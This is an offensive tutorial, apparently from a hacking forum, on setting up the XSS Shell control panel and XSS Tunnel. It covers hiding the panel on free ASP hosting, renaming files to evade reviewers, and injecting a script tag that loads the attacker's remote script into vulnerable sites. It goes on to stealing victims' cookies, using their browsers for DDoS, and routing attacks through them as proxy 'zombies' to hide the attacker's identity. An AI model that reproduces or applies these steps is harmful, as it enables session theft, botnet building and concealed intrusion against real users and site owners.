XSS SHELL & XSS TUNNEL – TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Today I will show you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here goes...

Things you need:

XSS Shell & XSS Tunnel, both available here in single download:   http://labs.portcullis.co.uk/application/xssshell/

Path Disclosure Script, available here: http://www.megaupload.com/?d=MGMF89LG
           Download and cahnge name from path.txt to path.asp

Patience

Brain.dll file

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

Once this is done we also edit the xssshell.asp file to change the default password from “w00t” to something more secure (if you have troubles finding it in code just use CNTRL+F to find “w00t”), save it and rename the file to something less noticeable by staff reviewers, like kittens.asp. Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked. I hope you have enjoyed this write up and enjoy playing with your new Zombie army!

Until next time… 

H.R.